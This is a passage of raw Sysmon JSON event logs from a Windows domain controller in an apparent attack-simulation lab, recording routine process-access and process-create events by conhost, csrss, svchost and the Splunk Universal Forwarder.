11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3092,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00109C050500}\r\nTargetProcessId: 4964\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-00109C050500}","TargetProcessId":"4964","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3093,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.317\r\nProcessGuid: {90617006-407A-5F2D-0000-00105D060500}\r\nProcessId: 5008\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list httpServer --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407A-5F2D-0000-00109C050500}\r\nParentProcessId: 4964\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list httpServer --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.317","ProcessGuid":"{90617006-407A-5F2D-0000-00105D060500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list httpServer --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407A-5F2D-0000-00109C050500}","ParentProcessId":"4964","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list httpServer --no-log","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3094,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-407A-5F2D-0000-00109C050500}\r\nSourceProcessId: 4964\r\nSourceThreadId: 4896\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00105D060500}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-407A-5F2D-0000-00109C050500}","SourceProcessId":"4964","SourceThreadId":"4896","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-00105D060500}","TargetProcessId":"5008","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3095,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-00105D060500}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407A-5F2D-0000-00105D060500}","TargetProcessId":"5008","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3096,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3097,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3098,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3099,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3100,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 